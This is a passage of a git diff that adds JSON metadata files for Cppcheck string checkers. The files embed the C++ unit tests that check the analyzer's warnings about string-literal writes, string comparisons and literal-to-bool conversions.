) ? 0 : 1 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:28]: (warning) String literal \\\"Hello\\\" doesn't match length argument for substr(). [incorrectStringCompare]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" return \\\"Hello\\\" == foo.bar().z[1].substr(i+j*4, 4) ? 0 : 1 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:43]: (warning) String literal \\\"Hello\\\" doesn't match length argument for substr(). [incorrectStringCompare]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" return \\\"Hello\\\" == test.substr( 0 , 5 ) ? 0 : 1 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" if (\\\"Hello\\\") { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (warning) Conversion of string literal \\\"Hello\\\" to bool always evaluates to true. [incorrectStringBooleanError]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" if (\\\"Hello\\\" && test) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (warning) Conversion of string literal \\\"Hello\\\" to bool always evaluates to true. [incorrectStringBooleanError]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" if (test && \\\"Hello\\\") { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (warning) Conversion of string literal \\\"Hello\\\" to bool always evaluates to true. [incorrectStringBooleanError]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" while (\\\"Hello\\\") { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning) Conversion of string literal \\\"Hello\\\" to bool always evaluates to true. [incorrectStringBooleanError]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" return \\\"Hello\\\" ? 1 : 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning) Conversion of string literal \\\"Hello\\\" to bool always evaluates to true. [incorrectStringBooleanError]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" assert (test || \\\"Hello\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:21]: (warning) Conversion of string literal \\\"Hello\\\" to bool always evaluates to true. [incorrectStringBooleanError]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" assert (test && \\\"Hello\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" assert (\\\"Hello\\\" || test);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (warning) Conversion of string literal \\\"Hello\\\" to bool always evaluates to true. [incorrectStringBooleanError]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" assert (\\\"Hello\\\" && test);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" BOOST_ASSERT (\\\"Hello\\\" && test);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" return f2(\\\"Hello\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7750 warn about char literals in boolean expressions\n check(\"void f() {\\n\"\n \" if('a'){}\\n\"\n \" if(L'b'){}\\n\"\n \" if(1 && 'c'){}\\n\"\n \" int x = 'd' ? 1 : 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:6]: (warning) Conversion of char literal 'a' to bool always evaluates to true. [incorrectCharBooleanError]\\n\"\n \"[test.cpp:3:6]: (warning) Conversion of char literal L'b' to bool always evaluates to true. [incorrectCharBooleanError]\\n\"\n \"[test.cpp:4:11]: (warning) Conversion of char literal 'c' to bool always evaluates to true. [incorrectCharBooleanError]\\n\"\n \"[test.cpp:5:11]: (warning) Conversion of char literal 'd' to bool always evaluates to true. [incorrectCharBooleanError]\\n\"\n , errout_str());\n\n check(\"void f() {\\n\"\n \" if('\\\\0'){}\\n\"\n \" if(L'\\\\0'){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:6]: (warning) Conversion of char literal '\\\\0' to bool always evaluates to false. [incorrectCharBooleanError]\\n\"\n \"[test.cpp:3:6]: (warning) Conversion of char literal L'\\\\0' to bool always evaluates to false. [incorrectCharBooleanError]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" if('\\\\0' || cond){}\\n\"\n \" if(L'\\\\0' || cond){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:6]: (warning) Conversion of char literal '\\\\0' to bool always evaluates to false. [incorrectCharBooleanError]\\n\"\n \"[test.cpp:3:6]: (warning) Conversion of char literal L'\\\\0' to bool always evaluates to false. [incorrectCharBooleanError]\\n\", errout_str());\n\n check(\"void f(bool b);\\n\" // #9450\n \"void f(std::string s);\\n\"\n \"void g() {\\n\"\n \" f(\\\"abc\\\");\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (warning) Conversion of string literal \\\"abc\\\" to bool always evaluates to true. [incorrectStringBooleanError]\\n\", errout_str());\n\n check(\"void g(bool);\\n\"\n \" void f(std::map>&m) {\\n\"\n \" if (m.count(\\\"abc\\\"))\\n\"\n \" g(m[\\\"abc\\\"][0] ? true : false);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(bool b);\\n\"\n \"void f() {\\n\"\n \" g('\\\\0');\\n\"\n \" g('a');\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (warning) Conversion of char literal '\\\\0' to bool always evaluates to false. [incorrectCharBooleanError]\\n\"\n \"[test.cpp:4:7]: (warning) Conversion of char literal 'a' to bool always evaluates to true. [incorrectCharBooleanError]\\n\",\n errout_str());\n\n check(\"#define ERROR(msg) if (msg) printf(\\\"%s\\\\n\\\", msg);\\n\"\n \"void f() {\\n\"\n \"\t ERROR(\\\"abc\\\")\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int, bool);\\n\"\n \"void f() {\\n\"\n \" MyAssert(!\\\"abc\\\");\\n\"\n \" g(2, !\\\"def\\\");\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (warning) Conversion of string literal \\\"def\\\" to bool always evaluates to true. [incorrectStringBooleanError]\\n\", errout_str());\n\n check(\"bool f(const char *p) {\\n\"\n \" if (*p == '\\\\0')\\n\"\n \" return *p == '\\\\0';\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int* p, const int* q) {\\n\"\n \" assert((p != NULL && q != NULL) || !\\\"abc\\\");\\n\"\n \" ASSERT((void*)(\\\"def\\\") == 0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C {\\n\" // #6109\n \" void check(const char code[], bool validate = true, const char* filename = \\\"test.cpp\\\");\\n\"\n \" void f() {\\n\"\n \" check(\\\"class A;\\\", \\\"test.C\\\");\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:34]: (warning) Conversion of string literal \\\"test.C\\\" to bool always evaluates to true. [incorrectStringBooleanError]\\n\", errout_str());\n\n check(\"#define MACRO(C) if(!(C)) { error(__FILE__, __LINE__, __FUNCTION__, #C); return; }\\n\" // #13067\n \"void f() {\\n\"\n \" MACRO(false && \\\"abc\\\");\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"#define strequ(s1,s2) ((void *)s1 && (void *)s2 && strcmp(s1, s2) == 0)\\n\" // #13093\n \"void f(const char* p) {\\n\"\n \" if (strequ(p, \\\"ALL\\\")) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void deadStrcmp() {\n check(\"void f(const char *str) {\\n\"\n \" if (strcmp(str, \\\"abc\\\") == 0 || strcmp(str, \\\"def\\\")) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:40]: (warning) The expression 'strcmp(str,\\\"def\\\") != 0' is suspicious. It overlaps 'strcmp(str,\\\"abc\\\") == 0'. [overlappingStrcmp]\\n\", errout_str());\n\n check(\"void f(const wchar_t *str) {\\n\"\n \" if (wcscmp(str, L\\\"abc\\\") == 0 || wcscmp(str, L\\\"def\\\")) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:41]: (warning) The expression 'wcscmp(str,L\\\"def\\\") != 0' is suspicious. It overlaps 'wcscmp(str,L\\\"abc\\\") == 0'. [overlappingStrcmp]\\n\", errout_str());\n\n check(\"struct X {\\n\"\n \" char *str;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void f(const struct X *x) {\\n\"\n \" if (strcmp(x->str, \\\"abc\\\") == 0 || strcmp(x->str, \\\"def\\\")) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:43]: (warning) The expression 'strcmp(x->str,\\\"def\\\") != 0' is suspicious. It overlaps 'strcmp(x->str,\\\"abc\\\") == 0'. [overlappingStrcmp]\\n\", errout_str());\n }\n};\n\nREGISTER_TEST(TestString)\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckString/overlappingStrcmp.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckString/overlappingStrcmp.json new file mode 100644 index 0000000..57d2ee2 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckString/overlappingStrcmp.json @@ -0,0 +1,13 @@ +{ + "name": "overlappingStrcmp", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 57, + "branches": 23, + "apis": 79, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckString/sprintfOverlappingData.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckString/sprintfOverlappingData.json new file mode 100644 index 0000000..d82dd33 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckString/sprintfOverlappingData.json @@ -0,0 +1,13 @@ +{ + "name": "sprintfOverlappingData", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 31, + "branches": 8, + "apis": 30, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckString/strPlusChar.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckString/strPlusChar.json new file mode 100644 index 0000000..dde3aaa --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckString/strPlusChar.json @@ -0,0 +1,25 @@ +{ + "name": "strPlusChar", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 14, + "branches": 5, + "apis": 20, + "test": [ + { + "description": null, + "expected-problems": 4, + "expected-linenumbers": [ + 591, + 600, + 619, + 629 + ], + "code": "\n/*\n * Cppcheck - A tool for static C/C++ code analysis\n * Copyright (C) 2007-2025 Cppcheck team.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n */\n\n\n#include \"checkstring.h\"\n#include \"errortypes.h\"\n#include \"helpers.h\"\n#include \"settings.h\"\n#include \"fixture.h\"\n\n#include \n\nclass TestString : public TestFixture {\npublic:\n TestString() : TestFixture(\"TestString\") {}\n\nprivate:\n const Settings settings = settingsBuilder().severity(Severity::warning).severity(Severity::style).build();\n\n void run() override {\n mNewTemplate = true;\n TEST_CASE(stringLiteralWrite);\n\n TEST_CASE(alwaysTrueFalseStringCompare);\n TEST_CASE(suspiciousStringCompare);\n TEST_CASE(suspiciousStringCompare_char);\n\n TEST_CASE(strPlusChar1); // \"/usr\" + '/'\n TEST_CASE(strPlusChar2); // \"/usr\" + ch\n TEST_CASE(strPlusChar3); // ok: path + \"/sub\" + '/'\n TEST_CASE(strPlusChar4); // L\"/usr\" + L'/'\n\n TEST_CASE(snprintf1); // Dangerous usage of snprintf\n TEST_CASE(sprintf1); // Dangerous usage of sprintf\n TEST_CASE(sprintf2);\n TEST_CASE(sprintf3);\n TEST_CASE(sprintf4); // struct member\n TEST_CASE(sprintf5); // another struct member\n TEST_CASE(sprintf6); // (char*)\n TEST_CASE(sprintf7); // (char*)(void*)\n TEST_CASE(wsprintf1); // Dangerous usage of wsprintf\n\n TEST_CASE(incorrectStringCompare);\n\n TEST_CASE(deadStrcmp);\n }\n\n struct CheckOptions\n {\n CheckOptions() = default;\n bool cpp = true;\n };\n\n#define check(...) check_(__FILE__, __LINE__, __VA_ARGS__)\n void check_(const char* file, int line, const char code[], const CheckOptions& options = make_default_obj()) {\n SimpleTokenizer2 tokenizer(settings, *this, code, options.cpp ? \"test.cpp\" : \"test.c\");\n\n // Tokenize..\n ASSERT_LOC(tokenizer.simplifyTokens1(\"\"), file, line);\n\n // Check char variable usage..\n runChecks(tokenizer, this);\n }\n\n void stringLiteralWrite() {\n check(\"void f() {\\n\"\n \" char *abc = \\\"abc\\\";\\n\"\n \" abc[0] = 'a';\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:3] -> [test.cpp:2:15]: (error) Modifying string literal \\\"abc\\\" directly or indirectly is undefined behaviour. [stringLiteralWrite]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" char *abc = \\\"abc\\\";\\n\"\n \" *abc = 'a';\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:4] -> [test.cpp:2:15]: (error) Modifying string literal \\\"abc\\\" directly or indirectly is undefined behaviour. [stringLiteralWrite]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" char *abc = \\\"A very long string literal\\\";\\n\"\n \" abc[0] = 'a';\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:3] -> [test.cpp:2:15]: (error) Modifying string literal \\\"A very long stri..\\\" directly or indirectly is undefined behaviour. [stringLiteralWrite]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" QString abc = \\\"abc\\\";\\n\"\n \" abc[0] = 'a';\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo_FP1(char *p) {\\n\"\n \" p[1] = 'B';\\n\"\n \"}\\n\"\n \"void foo_FP2(void) {\\n\"\n \" char* s = \\\"Y\\\";\\n\"\n \" foo_FP1(s);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:3] -> [test.cpp:5:13]: (error) Modifying string literal \\\"Y\\\" directly or indirectly is undefined behaviour. [stringLiteralWrite]\\n\",\n errout_str());\n\n check(\"void foo_FP1(char *p) {\\n\"\n \" p[1] = 'B';\\n\"\n \"}\\n\"\n \"void foo_FP2(void) {\\n\"\n \" char s[10] = \\\"Y\\\";\\n\"\n \" foo_FP1(s);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" wchar_t *abc = L\\\"abc\\\";\\n\"\n \" abc[0] = u'a';\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:3] -> [test.cpp:2:18]: (error) Modifying string literal L\\\"abc\\\" directly or indirectly is undefined behaviour. [stringLiteralWrite]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" char16_t *abc = u\\\"abc\\\";\\n\"\n \" abc[0] = 'a';\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:3] -> [test.cpp:2:19]: (error) Modifying string literal u\\\"abc\\\" directly or indirectly is undefined behaviour. [stringLiteralWrite]\\n\", errout_str());\n\n check(\"void foo() {\\n\" // #8332\n \" int i;\\n\"\n \" char *p = \\\"string literal\\\";\\n\"\n \" for( i = 0; i < strlen(p); i++) {\\n\"\n \" p[i] = \\'X\\';\\n\" // <<\n \" }\\n\"\n \" printf(\\\"%s\\\\n\\\", p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:3:16]: (error) Modifying string literal \\\"string literal\\\" directly or indirectly is undefined behaviour. [stringLiteralWrite]\\n\", errout_str());\n }\n\n void alwaysTrueFalseStringCompare() {\n check(\"void f() {\\n\"\n \" if (strcmp(\\\"A\\\",\\\"A\\\")){}\\n\"\n \" if (strncmp(\\\"A\\\",\\\"A\\\",1)){}\\n\"\n \" if (strcasecmp(\\\"A\\\",\\\"A\\\")){}\\n\"\n \" if (strncasecmp(\\\"A\\\",\\\"A\\\",1)){}\\n\"\n \" if (memcmp(\\\"A\\\",\\\"A\\\",1)){}\\n\"\n \" if (strverscmp(\\\"A\\\",\\\"A\\\")){}\\n\"\n \" if (bcmp(\\\"A\\\",\\\"A\\\",1)){}\\n\"\n \" if (wcsncasecmp(L\\\"A\\\",L\\\"A\\\",1)){}\\n\"\n \" if (wcsncmp(L\\\"A\\\",L\\\"A\\\",1)){}\\n\"\n \" if (wmemcmp(L\\\"A\\\",L\\\"A\\\",1)){}\\n\"\n \" if (wcscmp(L\\\"A\\\",L\\\"A\\\")){}\\n\"\n \" if (wcscasecmp(L\\\"A\\\",L\\\"A\\\")){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:7]: (warning) Unnecessary comparison of static strings. [staticStringCompare]\\n\"\n \"[test.cpp:3:7]: (warning) Unnecessary comparison of static strings. [staticStringCompare]\\n\"\n \"[test.cpp:4:7]: (warning) Unnecessary comparison of static strings. [staticStringCompare]\\n\"\n \"[test.cpp:5:7]: (warning) Unnecessary comparison of static strings. [staticStringCompare]\\n\"\n \"[test.cpp:6:7]: (warning) Unnecessary comparison of static strings. [staticStringCompare]\\n\"\n \"[test.cpp:7:7]: (warning) Unnecessary comparison of static strings. [staticStringCompare]\\n\"\n \"[test.cpp:8:7]: (warning) Unnecessary comparison of static strings. [staticStringCompare]\\n\"\n \"[test.cpp:9:7]: (warning) Unnecessary comparison of static strings. [staticStringCompare]\\n\"\n \"[test.cpp:10:7]: (warning) Unnecessary comparison of static strings. [staticStringCompare]\\n\"\n \"[test.cpp:11:7]: (warning) Unnecessary comparison of static strings. [staticStringCompare]\\n\"\n \"[test.cpp:12:7]: (warning) Unnecessary comparison of static strings. [staticStringCompare]\\n\"\n \"[test.cpp:13:7]: (warning) Unnecessary comparison of static strings. [staticStringCompare]\\n\", errout_str());\n\n // avoid false positives when the address is modified #6415\n check(\"void f(void *p, int offset) {\\n\"\n \" if (!memcmp(p, p + offset, 42)){}\\n\"\n \" if (!memcmp(p + offset, p, 42)){}\\n\"\n \" if (!memcmp(offset + p, p, 42)){}\\n\"\n \" if (!memcmp(p, offset + p, 42)){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // avoid false positives when the address is modified #6415\n check(\"void f(char *c, int offset) {\\n\"\n \" if (!memcmp(c, c + offset, 42)){}\\n\"\n \" if (!memcmp(c + offset, c, 42)){}\\n\"\n \" if (!memcmp(offset + c, c, 42)){}\\n\"\n \" if (!memcmp(c, offset + c, 42)){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // avoid false positives when the address is modified #6415\n check(\"void f(std::string s, int offset) {\\n\"\n \" if (!memcmp(s.c_str(), s.c_str() + offset, 42)){}\\n\"\n \" if (!memcmp(s.c_str() + offset, s.c_str(), 42)){}\\n\"\n \" if (!memcmp(offset + s.c_str(), s.c_str(), 42)){}\\n\"\n \" if (!memcmp(s.c_str(), offset + s.c_str(), 42)){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(void) {\\n\" // #13527\n \" const wchar_t* str1 = L\\\"Hello\\\";\\n\"\n \" return wcsicmp(str1, str1);\\n\" // <<\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (warning) Comparison of identical string variables. [stringCompare]\\n\", errout_str());\n\n check(\"int main()\\n\"\n \"{\\n\"\n \" if (strcmp(\\\"00FF00\\\", \\\"00FF00\\\") == 0)\"\n \" {\"\n \" std::cout << \\\"Equal\\\";\"\n \" }\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (warning) Unnecessary comparison of static strings. [staticStringCompare]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (strcmp($\\\"00FF00\\\", \\\"00FF00\\\") == 0) {}\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if ($strcmp(\\\"00FF00\\\", \\\"00FF00\\\") == 0) {}\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int main()\\n\"\n \"{\\n\"\n \" if (stricmp(\\\"hotdog\\\",\\\"HOTdog\\\") == 0)\"\n \" {\"\n \" std::cout << \\\"Equal\\\";\"\n \" }\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (warning) Unnecessary comparison of static strings. [staticStringCompare]\\n\", errout_str());\n\n check(\"int main()\\n\"\n \"{\\n\"\n \" if (QString::compare(\\\"Hamburger\\\", \\\"Hotdog\\\") == 0)\"\n \" {\"\n \" std::cout << \\\"Equal\\\";\"\n \" }\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (warning) Unnecessary comparison of static strings. [staticStringCompare]\\n\", errout_str());\n\n check(\"int main()\\n\"\n \"{\\n\"\n \" if (QString::compare(argv[2], \\\"hotdog\\\") == 0)\"\n \" {\"\n \" std::cout << \\\"Equal\\\";\"\n \" }\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int main()\\n\"\n \"{\\n\"\n \" if (strncmp(\\\"hotdog\\\",\\\"hotdog\\\", 6) == 0)\"\n \" {\"\n \" std::cout << \\\"Equal\\\";\"\n \" }\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (warning) Unnecessary comparison of static strings. [staticStringCompare]\\n\", errout_str());\n\n check(\"int foo(const char *buf)\\n\"\n \"{\\n\"\n \" if (strcmp(buf, buf) == 0)\"\n \" {\"\n \" std::cout << \\\"Equal\\\";\"\n \" }\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (warning) Comparison of identical string variables. [stringCompare]\\n\", errout_str());\n\n check(\"int foo(const std::string& buf)\\n\"\n \"{\\n\"\n \" if (stricmp(buf.c_str(), buf.c_str()) == 0)\"\n \" {\"\n \" std::cout << \\\"Equal\\\";\"\n \" }\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (warning) Comparison of identical string variables. [stringCompare]\\n\", errout_str());\n\n check(\"int main() {\\n\"\n \" if (\\\"str\\\" == \\\"str\\\") {\\n\"\n \" std::cout << \\\"Equal\\\";\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:6]: (warning) Unnecessary comparison of static strings. [staticStringCompare]\\n\", errout_str());\n\n check(\"int main() {\\n\"\n \" if (\\\"str\\\" != \\\"str\\\") {\\n\"\n \" std::cout << \\\"Equal\\\";\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:6]: (warning) Unnecessary comparison of static strings. [staticStringCompare]\\n\", errout_str());\n\n check(\"int main() {\\n\"\n \" if (a+\\\"str\\\" != \\\"str\\\"+b) {\\n\"\n \" std::cout << \\\"Equal\\\";\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void suspiciousStringCompare() {\n check(\"bool foo(char* c) {\\n\"\n \" return c == \\\"x\\\";\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (warning) String literal compared with variable 'c'. Did you intend to use strcmp() instead? [literalWithCharPtrCompare]\\n\", errout_str());\n\n check(\"bool foo(char** c) {\\n\"\n \" return c[3] == \\\"x\\\";\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (warning) String literal compared with variable 'c[3]'. Did you intend to use strcmp() instead? [literalWithCharPtrCompare]\\n\", errout_str());\n\n check(\"bool foo(wchar_t* c) {\\n\"\n \" return c == L\\\"x\\\";\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (warning) String literal compared with variable 'c'. Did you intend to use wcscmp() instead? [literalWithCharPtrCompare]\\n\", errout_str());\n\n check(\"bool foo(const char* c) {\\n\"\n \" return \\\"x\\\" == c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (warning) String literal compared with variable 'c'. Did you intend to use strcmp() instead? [literalWithCharPtrCompare]\\n\", errout_str());\n\n check(\"bool foo(char* c) {\\n\"\n \" return foo+\\\"x\\\" == c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool foo(char* c) {\\n\"\n \" return \\\"x\\\" == c+foo;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool foo(char* c) {\\n\"\n \" return \\\"x\\\" == c+foo;\\n\"\n \"}\", dinit(CheckOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:2:16]: (warning) String literal compared with variable 'c+foo'. Did you intend to use strcmp() instead? [literalWithCharPtrCompare]\\n\", errout_str());\n\n check(\"bool foo(Foo c) {\\n\"\n \" return \\\"x\\\" == c.foo;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool foo(Foo c) {\\n\"\n \" return \\\"x\\\" == c.foo;\\n\"\n \"}\", dinit(CheckOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:2:16]: (warning) String literal compared with variable 'c.foo'. Did you intend to use strcmp() instead? [literalWithCharPtrCompare]\\n\", errout_str());\n\n check(\"bool foo(const std::string& c) {\\n\"\n \" return \\\"x\\\" == c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool foo(const Foo* c) {\\n\"\n \" return \\\"x\\\" == c->bar();\\n\" // #4314\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #4257\n check(\"bool foo() {\\n\"\n \"MyString *str=Getter();\\n\"\n \"return *str==\\\"bug\\\"; }\\n\", dinit(CheckOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:3:12]: (warning) String literal compared with variable '*str'. Did you intend to use strcmp() instead? [literalWithCharPtrCompare]\\n\", errout_str());\n\n // Ticket #4257\n check(\"bool foo() {\\n\"\n \"MyString *str=Getter();\\n\"\n \"return *str==\\\"bug\\\"; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #4257\n check(\"bool foo() {\\n\"\n \"MyString **str=OtherGetter();\\n\"\n \"return *str==\\\"bug\\\"; }\", dinit(CheckOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:3:12]: (warning) String literal compared with variable '*str'. Did you intend to use strcmp() instead? [literalWithCharPtrCompare]\\n\", errout_str());\n\n // Ticket #4257\n check(\"bool foo() {\\n\"\n \"MyString str=OtherGetter2();\\n\"\n \"return &str==\\\"bug\\\"; }\", dinit(CheckOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:3:12]: (warning) String literal compared with variable '&str'. Did you intend to use strcmp() instead? [literalWithCharPtrCompare]\\n\", errout_str());\n\n // Ticket #5734\n check(\"int foo(char c) {\\n\"\n \"return c == '4';}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"int foo(char c) {\\n\"\n \"return c == '4';}\", dinit(CheckOptions, $.cpp = false));\n ASSERT_EQUALS(\"\", errout_str());\n check(\"int foo(char c) {\\n\"\n \"return c == \\\"42\\\"[0];}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"int foo(char c) {\\n\"\n \"return c == \\\"42\\\"[0];}\", dinit(CheckOptions, $.cpp = false));\n ASSERT_EQUALS(\"\", errout_str());\n\n // 5639 String literal compared with char buffer in a struct\n check(\"struct Example {\\n\"\n \" char buffer[200];\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" struct Example example;\\n\"\n \" if (example.buffer == \\\"test\\\") ;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:23]: (warning) String literal compared with variable 'example.buffer'. Did you intend to use strcmp() instead? [literalWithCharPtrCompare]\\n\", errout_str());\n check(\"struct Example {\\n\"\n \" char buffer[200];\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" struct Example example;\\n\"\n \" if (example.buffer == \\\"test\\\") ;\\n\"\n \"}\\n\", dinit(CheckOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:6:23]: (warning) String literal compared with variable 'example.buffer'. Did you intend to use strcmp() instead? [literalWithCharPtrCompare]\\n\", errout_str());\n\n // #9726\n check(\"void f(std::vector theArgs) {\\n\"\n \" std::string arg1(*theArgs.begin());\\n\"\n \" if(arg1 == \\\"aaa\\\") {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void suspiciousStringCompare_char() {\n check(\"bool foo(char* c) {\\n\"\n \" return c == 'x';\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (warning) Char literal compared with pointer 'c'. Did you intend to dereference it? [charLiteralWithCharPtrCompare]\\n\", errout_str());\n\n check(\"bool foo(wchar_t* c) {\\n\"\n \" return c == L'x';\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (warning) Char 